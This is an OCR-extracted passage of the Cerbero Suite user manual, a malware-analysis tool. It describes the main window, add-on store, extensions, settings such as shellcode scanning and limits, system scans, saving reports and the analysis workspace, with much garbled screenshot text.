License: |
Activation Code: | I

3) Click 'Activate’ on the web page and paste here the generated confirmation code.

4) Click 'Activate’.

Activate Online activation Later

3.2 LOGIC PROVIDERS

In the main window’s first tab, you’ll find access to the different logic providers. Logic
providers serve as the starting point for initiating scans or opening tools. For example,
from this location, you can initiate scans of individual files or directories, or open tools

like the hex editor.

Cerbero Suite - olEl
O () =
A s Recent History: Recent History:
C:\Windowss\System32\keme32.dI - C:\Windows\assembly
a 0] C\mp\SOFTWARE g | C\Windows\System32
System =
=y SIEEEED = C:\tmp\shelcode L C:\Program Fies
Ci\tmp\certexel
A Exensons
[ hexegor  *YhPytoncdor 7
& swe Recent Hstory:
C:\Windows\System32\ntdll.dl
,‘_) Update UX | c\wndows\systemaaintoskonlexe )
¥ settngs
ANALYSIS ~
@ o % Perform a scan on a file or open a project v Recent History.

i Perform a scan on a directory or open an unpacked project ¥ Recent History

i Perform a full disk or custom scan
DEBUG
&5 JavaScript Debugger
@ silicon Shellcode Emulator
EDITOR
0x Hex Editor ¥ Recent History
Python Editor ¥ Recent History
MEMORY

& Perform a scan on a raw memory image
MISCELLANEOLI

Filter.

The interface allows you to designate your favorite logic providers so they are prominently
displayed as panels for quick access. These panels not only facilitate quick tool access
but also, when available, offer functionalities like accessing recent history, dragging and
dropping files, and accessing tool settings.

Adding a panel is straightforward: simply click on the star icon next to the logic provider,
and a panel for the tool will appear. You can rearrange and resize these panels to tailor
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the layout to your specific requirements.

To quickly access a specific tool that is not among the favorites, you can utilize the text

filter.

Cerbero Suite

- oEN

Cerbero Suit
7B s Recent Hstory:
C:\Windows\System32\kerne32.dI
= 0 | C\tmp\sOFTWARE
System Scan €
o B | Cirvtone
Ciltmp\certexel
LA Extensons
Hex Edtor *
& s Recent Hitory:
C:\Windows\System32\ntalldi
@ Update UX C:\Windows\System32\ntoskrml.exe
X settngs
¢ YARA
@ o (X YARA File Scan

W YARA Directory Scan
K YARA Process Scan

7 YARA Editor ¥ Recent Hitory.

3.2.1 RECENT FILES

¥ Recent Hstory ¥ #
¥ Recent Hstory ¥
x %

Some logic providers enable quick access to recently opened files through a dropdown
menu button located next to them.

o

%

Perform a scan on a file or open a project. Dropping a file on this
window has the same effect

3.3 CERBERO STORE

From the 'Store’ section, you can access Cerbero Store, a distinctive feature of Cerbero

Suite that serves as a platform similar to an app store.

This service streamlines the

process of downloading and updating optional add-on packages, enhancing the suite’s
functionality. Users can easily search for and install a diverse array of tools and fea-
tures, enabling quick adaptation to the constantly evolving landscape of cybersecurity
threats. Cerbero Store provides access to a variety of tools including emulators, deobfus-
cators, cryptographic tools, and specialized workspaces. Its user-friendly design allows
for effortless customization of the toolset, meeting specific analysis needs and providing
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a competitive edge against emerging threats.

E.

Category
-y Al 57
[l Updates (1)
|l 'nstalled (50)
|l Featured (2)
[l Cloud (3)
|l Cryptography (3)
|l Debug (2)
|l Decompilers (3)
|l Development (1)
|l File Formats (23)
|l Forensics (4)
| Malware (14)
|l Online (4)
|l Reversing (12)
|l Security ()
| Themes (2)
|l Unpackers (3)

Filter...

Cerbero Store - Cerbero Suite

4 Install Al -

~

Name: Native Ghidra UT

|# shellcodeToExecutable

E‘ FLIR Format Installed
[® Hybridanalysis Intelligence Installed
[® 150 Format Installed
[ 1ceDark Theme Installed
[ savascript Beautifier Installed
[ Mediainfo Installed
[ Microsoft Authenticode Installed
E Native Ghidra Ul & Instal
[ OneNote Format Installed
E‘ PCAP Format Installed
[ pist Format Installed
[ pvc Format Installed
[® Powershell Beautifier Installed
E‘ Py2Exe Extractor Installed
[ Pyinstaller Extractor Installed
E‘ Python Snippets Installed
E‘ RAR Format Installed
E‘ RPM Format Installed
E‘ RegHive Format Installed
E‘ Sample Downloader Installed

Installed

Version: 1.2.0
Author: Cerbero Labs

Sizez 299.4 KBs
Date: Mon Feb 5 2024

https://cerbero.io/packages; li

Description: Native U1 for Ghidra. To instal the plugin in Ghidra go to Settings
-> Ghidra in Cerbero Sutte and folow the instructions

Categories: Reversing

Using the text filter allows for the quick installation of specific packages.

3.4 EXTENSIONS

The "Extensions’ section grants access to both installed packages and the various exten-
sions available within the suite. This area enables users to install packages from disk,
uninstall previously installed packages, and enable or disable specific extensions.

Start

System Scan

Extensions

Store

Update

Settings

About

a
v
&
©
*
7]

Cerbero Suite - 0O -
Packages | Actions | Hooks | Key Providers | Logic Providers | Scan Providers | UIHooks | Carbon Loaders
Name Author / Publisher Version Description Instal
\®| 7z Format Cerbero Labs 122 Support for the 7z and XZ archive formats. Uninstal
—_— Utility to resolve APl names from their
|| API Solver Cerbero Labs 113 checksums. This is especially useful when ITpEed
analyzing shellcode. Currently provides suppo...
\#| AR Format Cerbero Labs 1.0.1 Support for the AR archive format.
|| ARM32 Decompiler Cerbero Labs 1.0.0 The Sleigh ARM32 decompiler.
|| ARM&4 Decompiler Cerbero Labs 1.0.0 The Sleigh ARM&4 decompiler.
= . Thi ki idk to MalwareB
|| AbuseCH Intelligence Cerbero Labs 212 s package provides access to Malwarebazaar
intelligence.
|| ActiveMime Format Cerbero Labs 1.0.0 Support Microsoft's ActiveMime format.
—_— Support for the Chrome extension format. The
| CRX Format Cerbero Labs 103 package also allows to download Chrome
e)Idenslons by their pu_bllc URL. . @ store
Gir a 1 rv issue of Cerbero lournal
Fiter.
Open User Data Directory Open 'packages.cfg' 15 Refresh Extensions
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Extensions such as hooks and key providers can be enabled or disabled individually.

Cerbero Suite = =

Packages | Acions | Hooks | KeyProviders | LogcProviders | Scan Providers | UIHooks | Carbon Loaders

ﬁ_‘ £EG (] Magic: information provided by libmagic
. [J MalwareBazaar Intelligence
C\ System scan [] HybridAnalysis Intelligence
[¥] UPX Unpacker
LA Excensions (] URL Extractor: Single Scan
(] URL Extractor: Batch Scan
® st (V] ThreatPulse
[¥] Py2Exe Extractor
@ [¥] Medialnfo
w e [¥] Pyinstaller Extractor
}{7 o [V JPEG FLIR Extractor
gx [¥] YARA Rules
[7] YARA: perform a scan with user-specified YARA rules (legacy)
@ roout

Open User Data Drectory. Open "hooks.cfg i Refresh Extensions

Hooks are designed to enhance the functionality of other extensions, including logic and
scan providers, by extending their capabilities. On the other hand, key providers are
specialized extensions that supply keys for automatic decryption, aiding in the decryption
process without manual input.

Each type of extension is associated with its own ’ini’ configuration file. By selecting
"Open user configuration file,” the specific configuration file relevant to the current type
of extension is opened.

3.4.1 INSTALLING PACKAGES FROM DISK

When you install a package from disk, a confirmation dialog box appears, displaying
information about the package, including its name, description, author, and crucially,
the validity of its digital signature.

" Install Package - Cerb.. — O
Name: YARA Rules
* Version:  1.0.0

Author: Cerbero Labs
Signature: Verified

Description:

The ultimate tookit for downloading, scanning with,
creating, editing, and testing YARA rules.

>> Are you sure you want to install the package?

Install Cancel Inspect package
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Within the dialog, you have the option to proceed with the package installation, cancel
the operation, or inspect the package contents using Cerbero Suite before proceeding.

You can add your own certificate for package validation through the settings.

3.5 UPDATE

In the "Update’ section, you can manage updates for both the suite itself and any optional
packages you’ve installed. This includes configuring the suite to automatically check for
updates at regular intervals.

Cerbero Suite - 0O
Cerbero Suite %
2 st @) Check updates Application is up-to-date.
=
& System Scan [] Automatically check for updates
LA Extensions
E Store Update 1 package
6; Update
X settings

3.6 SETTINGS

The ’Settings’ section offers comprehensive controls to configure the Cerbero Suite and
its optional packages according to your preferences and requirements.

3.6.1 GENERAL

The general settings allow you to adjust various UI preferences, including application
fonts, as well as specify a different location for the user data directory and the temporary
directory.

Cerbero Suite -0
Cerb Suit GT
General
A st Security Ask to save changes even when the report hasn't been saved
= R_'Sk_ Ensure the visbility of the output console when an action or a script prints something
" System Scan Limits
Data Group sub-files according to their type
[‘1 Extensions Shellcode
=) Filters Set here the path of the applcation data directory (leave biank for the defauk):
= Certificates
|& Store Prih C:\Users\h\AppData\Roaming\Cerbero\ Browse Open
ython
&; Update 'Srhe‘me Set here the path of the temporary drectory (leave blank for the default):
ystem
< Portable C:\Users\h\AppData\Local\Temp Browse Open
}\ Settings . . .
é HybridAnalysis Intelligence
Sample Downloader Choose Fixed Font  Choose Disassembly Font
@ Aoout PYC Decompiler
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Setting a different temporary directory can be beneficial, especially when dealing with
antivirus software on your system. For instance, you can designate a separate temporary
directory and exclude it from your antivirus scans. This approach allows you to maintain
the protection of the system’s default temporary directory by the antivirus while ensuring
that the antivirus does not interfere with Cerbero Suite’s analysis, which may generate
temporary files that could otherwise be flagged as suspicious.

3.6.2 SECURITY

The security settings enable you to decide if images deemed potentially insecure should
be automatically displayed.

Cerbero Suite - O

Cerbero Suite 4
~ General
{i] st Aways alow media content vithout asking for confrmation.

Risk ["] Please note that media elements are rendered through third-party code which could be the target of exploits.
o L Idealy enable this option only when running in a virtual environment.
" System Scan Limits
3.6.3 RISK

The risk settings provide the ability to adjust the methodology used in calculating the
risk level during the scanning process.

Cerbero Suite = g
General
2 start Security Disable intriic risk factors
This means that, for instance, t is intrinsic for an application to contain code and
~ when this option is activated, this won't contribute to the risk factor anymore
" System Scan Limits
Data Note: activate this option only if you know what this means!

Ml Extensions Shellcode
Filters [ set risk to zero if the file contains a trusted digital certificate

3.6.4 LIMITS

The limits settings enable you to set various application thresholds, including maximum
memory usage, maximum nesting levels for scanned objects, maximum scan entries per
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object, maximum file size, and more.

Cerbero Suite -0

Cerbero Suite %4

General
ﬁj Start Security Maximum vitual memory usage in MBs (40-2000) 100
. Risk Maximum nesting level for scanning and fitering operations (0-1000): |10
s System Scan Limits
-~ Dot fie size in GBs (0 for nfinte) 0
ata
¥ G Shellcode (Fies which exceed this lmit wil be ignored by batch scans.)
; Filters Decompression bomb threshold in GBs (0 for infinite) 100
E« Store Certificates (Extraction operations which exceed this cumulative mit wil be considered as malicous.)
Theme
Maximum number of chid objects: 100000
& Uodat System
W e Portable Maximum fle system size for automatic scanning in MBs (0 for infinte): 200
Y . HybridAnalysis Intelligence (Files embedded in fie systems that exceed this size won't be scanned automatically.)
7 Settings

Sample Downloader

3.6.5 DATA

The data settings allow you to specify the permissible amount of foreign data in a file
before it is considered a security risk.

Cerbero Suite -0

Cerbero Suite %4

General
ﬁ:‘ Start Security Report foreign data as an issue when its quota exceeds either
. Risk 3 3l %or 10 KBs ~
— System Scan Limits
Al | Extensions Shellcode

3.6.6 SHELLCODE

The shellcode settings allow for the customization of shellcode pattern scanning configu-
rations.

Cerbero Suite - O

Cerbero Suite %4

General
il s Security Warning: please note that shelcode signature matches could be faise positives.
Risk
=
= SEEDEET Limits Enable the search of shelcode signatures
Data
Ml Extensions Shellcode [[] Report shelcode signature matches as issues not warnings
Filters
—_ Certificates [] Enable the search of shelcode signatures for executable fles
Iéd Store
Python Maximum size of fies to scan for shelcodes in MBs (0 for nfiite): 100
&> Theme
[— lindata

3.6.7 FILTERS

The filter settings enable you to set preferences for Lua filters. Lua filters can be embed-
ded within projects, which means you might execute one unknowingly when loading an
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embedded object. Although Lua runs in a secure sandbox with memory limitations, you
have the option to disable these filters entirely.

Cerbero Suite = g

Cerbero Suite %4

General
’j: Start Security Alow Lua script fiters
) Lua is run securely in a sandbox and features al kinds of securty restrictions
Risk
= sk Scripts are mited by memory allocation, are alowed to cal only a very Imited set of secure methods
. System Scan Limits and can be interrupted at any time by the user. However, one might want to disable them anyway.
Data
ﬂ Extensions Shellcode Maximum memory Lua is allowed to allocate in MBs (1-100): 2
E Store Certificates
Python

3.6.8 CERTIFICATES

The certificates settings enable configuration of the certificates that Cerbero Suite uses
for package validation. You can add your own certificates to validate packages originating
from your organization.

Cerbero Suite - O

Cerbero Suite %

A General Packages
fa} St Security % Cerbero Labs Add
Risk
= L
(&Y System Scan Limits Add from Clipboard
Data
Al Exensons Shellcode REmR
-9
Filts
— fters Refresh
& e Certificates
Python Browse
I Theme
-y Update
w System
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3.6.9 THEME

In the theme settings, you can select a different UI theme for Cerbero Suite, providing
an option to switch to a dark theme, among others, according to your preference.

S

ﬁ o - Marana ~ | Open user theme directory

@, system scan

3 stoe

3.6.10 SYSTEM

Within the system settings, when available, you can configure system-wide settings, in-
cluding the association of Cerbero Suite with the shell context menu on Windows.

Cerbero Suite -0

General

Q Windows Explorer context menu
@ S Security
Risk Cerbero Analyzer
Q System Scan Limits Cerbera Hex Editor
Data Cerbero File Info
|l Extensions Shellcode Cerbero Python Edior
Filters
E Store: Certificates Ui
Python
@ Update Theme
System ‘
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3.6.11 PORTABLE

The portable settings allow you to create a portable version of Cerbero Suite that includes
all your user settings and installed packages.

Cerbero Suite = g

Cerbero Suite %4

A Genefal Create a portable Cerbero Sutte distrbution.
(@] Start Security
Risk Make portable
-} P
g System Scan Limits Making the appication portable means that it can be moved across computers and all the settings are saved to a
Data relative folder. Cerbero Suite automaticaly becomes portable if t detects a 'user’ folder in the binary drectory and wil
K| ensine Shellcode save all settings there
Filters The button above creates a portable distribution and copies your scripts to the 'user’ folder.
E Store Certificates
Python
() Theme
-) Update
L4 System
2 Portable
AN, Setngs HybridAnalysis Intelligence

3.6.12 PACKAGE SETTINGS

Installed packages may provide their own settings pages, allowing you to customize their
behavior.

Cerbero Suite - 0O

Cerbero

General
AN st - Service Status
LB security bridAnalyss APL key|  « AVAILABLE
Risk HybridAnalysis Available Set HybridAnalysis 2/
\/\A System Scan Limits InQuestlLabs Available PECTETN  unLABIE
. et InQuestlabs y
Data MalShare Available
Shellcode MalwareBazaar Available (anonymous;
By Feemsos Filters (anonymous) Set MalShare APT key| AVAILABLE
& Sstore :;{::;3‘95 [ Try anonymous services first
o Theme
-y Update
w System
2 Portable
% Settngs HybridAnalysis Intelligence
Sample Downloader
& About PYC Decompiler
YARA Rules
Ghidra
< >
Highighted services are enabled. Some services require
credentials.

Save settings

3.7 SINGE-FILE SCAN

Individual file scans can be initiated through several methods: via the 'Start’ section,
by dragging and dropping a file into the main window, through command line inputs,
or from the system shell context menu. Unlike multi-file scans, initiating a scan for a
single file presents the user with a wait dialog. This dialog offers the option to skip
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scanning embedded files and provides real-time updates on which extension is currently
analyzing the file, making it easier to identify if a particular extension is taking longer
than expected. If you opt to skip scanning embedded files initially, they can be examined
later in the analysis workspace.

Cerbero Suite

Executing YARA Rules...

Skip Embedded Files

3.8 SYSTEM SCAN

In the 'System Scan’ section, users can initiate either a full system scan or a custom
scan targeting specific directories and files. Regardless of the scan type, users have the
flexibility to specify both file formats and extensions.

Cerbero Suite = g

Cerbero Suite %4

) Fulscan ® Custom scn
Start

W SoftwareDistribution ~ = C:\Windows\System32
i speech s C\Windows\SyswOWe4
la symbols
Extensions l System
I System32
Store I SystemResources
[ syswowe4 ]
Update i TAPI
i Tasks
Settings W Temp =4
I ToastData
- trac.ing -
I twain_32
i vpnplugins
- Vss
i Web
s WinStore
l WinSxS
bfsvc.exe
bootstat.dat
DtcInstall.log

System Scan

E = O R

5
)

¢ €

About

€

File types
Ol

) Known formats () Known extensions

Spedific formats () Specific extensions

The scan process can be halted at any point as needed.

Cerbero Suite - O
Cerbero Suite %4
- c wst\up 5\SYSWOWEA\DDORes.l {embelded #837: leon 837 [lang:1033]}

System Scan

7“5
(a!
—
1Y)

Extensions
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After completing the scan process, the scanned files are listed in a table, showing their
names and the associated risk factor calculated for each.

El = 2

5)
)

X €

[

0
by
a3

System Scan

Extensions

Store

Update

Settings

About

Cerbero Suite

C S

£

3.9 REPORTS & PROJECTS

3.9.1

) B

¢ €

[

Store

Update

Settings

About

SAVING A REPORT

B Roots ] B Output
#* File Risk Format "~
19 C:\Windows\SysWOW64\adsldpc.dll 0% PE
20 C:\Windows\SysWOW64\adsmsext.dll 0% PE
21 C:\Windows\Syswowe4\adsnt.dl 0% PE
22 C:\Windows\SysWOW64\adtschema.dl 0% PE
23 C:\Windows\SysWOW64\advapi32.dl 0% PE
24 C:\Windows\SysWOW64\advapi32res.dl 0% PE
25 C:\Windows\SysWOW64\advpack.dl 0% PE
26 C:\Windows\SysWOW64\aeevts.dl 0% PE
27 C:\Windows\SysWOW64\amcompat.th 0% PE
28 C:\Windows\SysWOW64\amstream. di 0% PE
29 C:\Windows\SysWOW64\apds.dl 15% PE
30 C:\Windows\SysWOW64\api-ms-win-appmodekidentity-11-1-0.dI 0% PE
3 C:\Windows\SysWOW64\api-ms-win-appmoderuntime-nternakii-1-0.dl 0% PE
32 C:\Windows\SysWOW64\api-ms-win-appmoderuntime-1-1-0.dl 0% PE
33 C:\Windows\SysWOW64\api-ms-win-appmodel-runtime-i1-1-1.dll 0% PE
34 C:\Windows\SysWOW64\ap-ms-win-appmodek-state-11-1-0.dl 0% PE
35 C:\Windows\SysWOWG64\ap-ms-win-appmodekstate-i1-1-1.dl 0% PE
36 C:\Windows\SysWOWG4\api-ms-win-base-bootconfig-1-1-0.dI 0% PE
37 C:\Windows\SysWOW64\api-ms-win-base-utiH1-1-0.dl 0% PE
38 C\Wind ysSWOW64\api-ms-win piquery-11-1-0.dl 0% PE
39 C\Wind ySWOWGH\api-ms-win ppcompat-11-1-0.dl 0% PE
40 C:\Wind ysSWOWGH\api-ms-win ppcompat-lt-1-1.dl 0% PE v
< >
| New scan ! save Report - Other. -
Selecting a file from the table displays the analysis workspace.
To save scan results, choose 'Save Report’ to open the save dialog.
23 C:\Windows\SysWOW64\advapi32.dll 0% PE
24 C:\Windows\SysWOW64\advapi32res.dl 0% PE
25 | Save report... - Cerbero Suite - O 0% PE
Zi Propetty Vale 3j :
28 0% PE
[[] 5ave unpacked database
» [[J Compress 15% e
0 Password (optional) 0% PE
3 ] Include scanned fies in report 0% PE
2 ‘Save to... CiAtemp\report.cpro 0% PE
33 0% PE
34 0% PE
3 Cancel 0% PE
36 L S g 0% PE
37 C:\Windows\SysWOW64\api-ms-win-base-utiH1-1-0.dl 0% PE
38 C:\Windows\SysWOWG64\api-ms-win-core-apiquery-l1-1-0.dl 0% PE
39 C:\Windows\SysWOWG64\api-ms-win-core-appcompat-l1-1-0.di 0% PE
40 C:\Windows\SysWOW64\api-ms-win-core-appcompat-t-1-1.dl 0% PE -
< >
« New scan ! Save Report - Other... -

In this dialog, you can specify various options:

1. Whether to save the analysis report as an unpacked database, resulting in a direc-
tory with a .cprodb file extension that contains various files. If not selected, the
report is saved as a single project file with a .cpro file extension.
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2. Whether to compress the files in the project. Selecting this option will reduce the
project size but may lead to slower loading times when the project is opened.

3. Whether to password protect the project. If a password is set, all data within
the project is securely encrypted, which also results in slower loading times upon
opening.

4. Whether to include the scanned files in the project. This option is useful for sending
the project to another party that does not have the files, ensuring they have all
necessary information for analysis. This option increases the project size by the
size of the scanned files.

5. The file name of the project.

3.9.2 SAVING A PROJECT

After saving the report, the ’Save Report’ button changes to Save Project’.

40 C:\Windows\SysWOWE4\api-ms-vin ppcompat-i1-1-1.dl 0% PE V‘

« New scan | Save Project - Other. ‘

This transition signifies that the default action now is to save any subsequent modifica-
tions directly to the already specified project file. It’s similar to the distinction between
‘Save As..."” and ’Save’ actions, where ’Save As...” is used to initially set or change the
file’s location and name, and ’Save’ updates the existing file with any new changes.

3.9.3 RE-SAVING A REPORT

After associating a report with a project, you can re-save it using different parameters
by using the dropdown menu next to 'Save Project’.

utik1-1-0.dl 0% PE
38 C:\Windows\SysWOW64\ay piquery-11-1-0.dl 0% PE
39 C:\Windows\SysWOW64\apims ppcompat-l1-1-0.dl 0%
40 C:\Wind ysSWOW64\api-ms-win ppcompat-ii-1-1.dl k! Save Report

L' Add File to Report

37 C:\Windows\SysWOW64\api-ms

« New scan |id save Project

3.9.4 ASSOCIATING A REPORT TO AN EXISTING PROJECT

You can also associate a report with an existing project file, which may be particularly
useful if the application unexpectedly quits and the project wasn’t saved properly. In
these situations, you can open the unsaved report from the temporary directory and then
link it to an existing project file by selecting ’Save Project’ from the dropdown menu
next to the ’Save Report’ button, thus integrating your unsaved work into the original
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project.

b Save Project
< L' Add File to Report >

 New scan ! save Report Other...

3.9.5 OPENING A PROJECT OR REPORT

Opening a project or report in Cerbero Suite follows the same straightforward process
as opening any other file: you can initiate it from the ’Start’ section, by dragging and
dropping it onto the main window, through the command line, or via the system shell
context menu.
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ANALYSIS WORKSPACE

Cerbero Suite offers a variety of workspaces, with the analysis workspace being the most
complex and advanced. Some features found in this workspace are shared with others;
thus, we will not reiterate these concepts when discussing other workspaces later on. In
fact, mastering the analysis workspace will significantly ease the use of other workspaces,
as the fundamental skills and knowledge are transferable.

[ExceptionTest.exe] - Cerbero Suite -0
File Navigation Actions Views Tools Help
B-B@fhe e dabk edan kBN EE # 6 FlEnm -
L Roots. & x - Output & x
# File Risk Format carbon: analysis finished in 0.0 seconds
1 C\..\ExceptionTestexe 0% PE
4 Hierarchy & x| & Analysis [Native Code: x64] B
Fiter. text:0x140001000 ~
i _text:0x140001000 sub_140001000 proc start
-text:0x140001000 ; CODE XREF: 0x1400012AE
4 [ ExceptionTest.exe .text:0x140001000 D XREF: 0x14000
4 4 Documents -text:0x140001000 ; un
“ . . -text:0x140001000 sub  rsp, 0x28
Configuration file 1 flang:1033] || - 722" 40 000
< > || . text:0x140001004 loc_140001004: DA E 1400022E
o min | - Eext10x140001004 ; txy { // t loc_:
‘Summary text:0x140001004 mov. eax, OxA
Intrinsic threats text:0x140001009 cdq
& Native Code: x64 _text:0x14000100a xor  ecx, ecx
Privacy _text:0x14000100C idiv  ecx
_text:0x14000100E mov  edx, eax
L Debug Data .text:0x140001010 lea rex, [0x1400021B8]
Information _text:0x140001017 call quord ptr [0x140002118] -> printf
@ Metadata: Mediainfo _text:0x14000101D jmp  loc_14000102D
T -text:0x14000101D ; ) s . 140
9 _text:0x14000101F
4L Incorrect Checksum Value _text:0x14000101F loc_14000101F: DATA XREF: 0x1400022EC
A Metadata _text:0x14000101F pt(1) { // o y loc_140001
-text:0x14000101F lea  rex, [0x1400021C0] caught\n
15 Format Bioa | text:0x140001026 call quord ptr [0x140002118] £
Fiter, -text:0x14000102C nop
-text:0x14000102D
i Dos Header 2 || . text:0x14000102D loc_14000102D: ; CODE XREF: 0x14000101D
i Rich Signature -text:0x14000102D xor  eax, eax
4 4 Nt Headers text:0x14000102F add  rsp, 0x28
£ File Header text:0x140001033
4 14 Optional Header text:0x140001033
text:0x140001033
14 Data Directories .text:0x140001033 sub_140001000 proc end
4 Section Headers _text:0x140001033 v
i Import Directory v || Address: 0x14000101F - Done

Enter Python Ctrl+alt+.]
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4.1 MENUS

Menus in the analysis workspace are designed to group common or generic actions and
do not include actions that are specific to a single type of view.

File Navigation Actions | Views | Tools Help

H - HE - Views Ctrl+Tab -
< Roots Close View Ctrl+F4

# File Single View Ctrl+Alt+5
1 C:\...\ExceptionTest.|  _ Fullscreen Ctrl+Alt+F

i Save Workspace Layout

“ Hierarchy % Reset Workspace Layout
Fiter... Reset Toolbars Alt+Shift+T

140001
Name . New Cerbero Instance Ctrl+Alt+N

4 @ ExceptionTest.exe
4 4 Documents
* Configuratio

4+ Open New Analysis View Alt+Shift+A
+ Open New Text View sub
Ux Open New Hex View

& Open New Python Editor Ctrl+Alt+P

< 140001

u Sunmy TLCERC . UXIHUUUIUUY mov

Intrinsic threats .text:0x140001009 cdg

@ Native Code: x64 .text:0x14000100a xor
tavt-Nw1annninne idir

The exception is the "Actions’ menu, which lists action extension entries. These entries
might be specific to a view, a single file type, a specific workspace, shared among different
view types, or generic. We will discuss these special actions in more detail later on.

4.2 TOOLBARS

Toolbars, similar to menus, group common or generic actions together.

K- EE - WS O&fbh& &9 w BN EE # 4| 0%isass - DOCDE 81136AD249F: <

While toolbars display fewer actions than menus, they include the following special items.

4.2.1 HASHES

One of the initial pieces of information we seek about a file is its cryptographic hash.
The hash toolbar item provides quick access to all common cryptographic hashes.

SHA-256 ~| | 7838B251CDOCDE106297D48CAE6404D1A3D615C81136AD249F7553E0244 — ~
MD5 ~ E

- SHA-1 i A i i —
carbon: analysis finished in 0.0 seconds
SHA-384
SHA-512
SHA3-224
SHA3-256
SHA3-384
SHA3-512
RIPEMD-128 * A
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You can easily copy the hash by using the copy button located next to it.

Additionally, when hovering over the hash, you are provided with a humanized form of
the hash, which is easy to remember for quick comparison.

SHA-256 ~ | 7838B251CDOCDE106297D48CAE6404D1A3D615C81136AD249F7553E0244 hd

8% [ErOutput | Humanized: paris-potato-apart-football |

To copy the humanized hash, utilize the dropdown menu next to the copy button.

4.2.2 COMMAND-LINE INTERPRETER

By default, the command-line interpreter is located at the bottom of the workspace.

Enter Python code here [focus with Ctrl+alt+.]

This special toolbar item is designed for entering simple commands. The default command-
line interpreter in the analysis workspace is the Python interpreter. However, other
workspaces, like the Silicon Shellcode Emulator, may offer additional command-line in-
terpreters tailored for their specialized tasks, such as debug commands.

When multiple command-line interpreters are available, you can switch between them.

4.2.3 RISK BAR

The risk bar, a special toolbar item, visually represents the risk level associated with a
top-level object. It utilizes colors and a percentage to indicate the risk level, which can
range from low to high, aiding users in quickly grasping the estimated risk level.

0%

4.2.4 RESETTING THE TOOLBARS

Toolbars can be repositioned according to your preference, and their placements will be
remembered. To revert them to their original positions, select the 'Reset Toolbars’ menu
action.

Reset Toolbars  Alt+Shift+T
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4.3 CONTEXT MENUS

While menus and toolbars offer generic actions, interacting with a specific view is best
done through its context menu. This menu contains all the actions applicable to that

particular view.

20
62
64
62
D1
EC
c7
ES
D2
00
00
c9
oc
00
00
00
00
00
00
00
00
00
00
00

70
65
65
B3
F0
F0
F0
F0
F0
00
00
5C
00
00
00
00
00
00
00
00
00
00
00
00

4.4 DOCKS

72
20
2E
Bl
B2
ml
B3
B3
BO
00
00
00
00
00
00
00
03
00
00
00
EO
00
38
00

fr 67 72 61 6D 20 &3 &1 EF EF AF | is.program.
] Copy » l.be.run.in
( . ode....5..
»
3 Edit Wh..6...6.
k Position ' lg...6...9.
3 Find v lg...6...7.
3 e..B...06.
P " la...6...q.
i View ' |d...6..Ric
( Print [ [
a PE.
{ Screenshot Yl
( Ranges LA [
g Layout [ .
! Duplicate View Ctrl+Shift+D |........ P-
E To Text Browser View Ctrl+Shift+=T |7~ "~
17 Filter.. CtlsT  |-eeeee N
¢ Add Child Object Ctrl+E S
(L' Add Root Object ~ |eeaaa.an :
S ———— [ T

0o 00 00

0o 00 00 00 00 00 00 00

All views within workspaces are organized in docks, enabling you to easily rearrange them
to suit your preferences simply by dragging them by their dock title.

4.4.1

4 Analysss [Fle Header]

Name
Machine
Numberofsections

TimeDateStamp

NumberofSymbols
SizeOfoptionalHeader
Characteristics

SymbolTable 00000104

offset

e
H

value
000000EC acea
000000£E
00000100

0006
sceos608
00000000
00000108 00000000
0000010 00£0

0022

0000010E

FLOATING DOCKS

D x64

Wed May 1

Click here

You can create floating docks that are independent from the workspace window. To move
these floating dock windows, hover your mouse over the small gray margin just below the
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window title.

Analysis [Optional Header]

Name

Magic

Shortly, a drag handle will appear, allowing you to drag the dock to your desired location.

Analysis [Optional Header]
Use this bar to drag

Name

Magic

4.4.2 SAVING THE WORKSPACE LAYOUT

To preserve the arrangement of your docks, you can select the ’Save Workspace Layout’
menu action. Each workspace in Cerbero Suite maintains its own unique layout.

W .Save Workspace Layout

4.4.3 RESETTING THE WORKSPACE LAYOUT

To return the workspace layout to its original state, select "Reset Workspace Layout’.

S Reset Workspace Layout

4.5 FULL SCREEN MODE

The ’Full Screen” menu action expands the current view to occupy the entire screen.

- Fullscreen Ctrl+Alt+F

Pressing the Ctrl+Alt+F shortcut again restores the view to its original state.
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4.6 SINGLE VIEW MODE

The ’Single View” menu action expands the current view to occupy the entire workspace
area.

Single View Ctrl+Alt+S

Pressing the Ctrl+Alt+S shortcut again restores the view to its original state.

4.7 BACK TO THE MAIN WINDOW

From the analysis workspace, returning to the main window is always possible. If you
opened the analysis workspace from the main window, simply closing the analysis window
will take you back to the main window.

However, there are scenarios where the main window has not been created, such as when
opening a file directly from the command line or initiating a file scan from the system
shell context menu. In these situations, the analysis workspace opens directly, bypassing
the step of launching the main window. Consequently, closing the analysis workspace in
these cases won’t take you back to the main window. To return to the main window,
you need to use the ’Go To Report’ action, accessible from both the ’File’ menu and
the toolbar. For simplicity, this action can always be used to navigate back to the main
window, regardless of the context.

#) Go to Report
k' Add File to Report

4.8 ROOTS VIEW

The roots view presents the scanned top-level objects similarly to how the main window
displays them after a system scan.

L Roots

# File Risk Format
26 C:A\Windows\SysWOW64\aeevts.dl 0% PE
27  C:\Windows\SysWOWG64\amcompat.tlb 0% PE
28 CAWindows\SysWOwe4\amstream.dll 0% PE
29 C:A\Windows\SysWOWe4\apds.dl 15% PE
30 C:\Windows\SysWOW&4\api-ms-win-appmodeHdentity-1-1-0.dl 0% PE
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This view allows you to switch the current top-level object (root) within the context of
the analysis workspace, eliminating the need to return to the main window.

Selecting a different root object changes the contents of the hierarchy, summary, and

format views.

4.8.1 ADDING A ROOT OBJECT FROM DISK

Through the view’s context menu, you can add a root object by selecting a file from the
disk.

[y :Add File to Report

After a root object is added, it is scanned only when you open it for inspection.

4.8.2 REMOVING A ROOT OBJECT

Similar to adding an object, you can remove one using the view’s context menu.
A Remove

Warning: this action is irreversible. Once removed, the object’s analysis data cannot be
restored.
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4.9 HIERARCHY VIEW

The hierarchy view shows the current root object along with all its child objects. Using
this view, you can access the child objects.

[debian-11.5.0-amd64-netinst.iso] - Cerbero Suite — 0O RS
File Navigation Actions Views Tools Help
K EE & WE DL @ md & €9 ow w BN DR # & 1083 swase | [Clickhereto calculate the hash h~
% Herarchy & x
Fiter |
Name Risk Group Format  Size Relation D
4 |£1 debian-11.5.0-amd64-netinst.iso 0% Archive 15O 382MBs  Root
i Archives
> Documents
4 M Executables
4 M //setup.exe 40% Executable PE 356KBs  Child
4 4 Documents
* Configuration File 1 [lang:1033] 0% Document XML 1.049KBs  Child
4 4 Images
& Icon 1 [lang:1033] 0% Image PNG 3631KBs  Child
& Icon 2 [lang:1033] 0% Image DIBICO  9.414KBs  Child
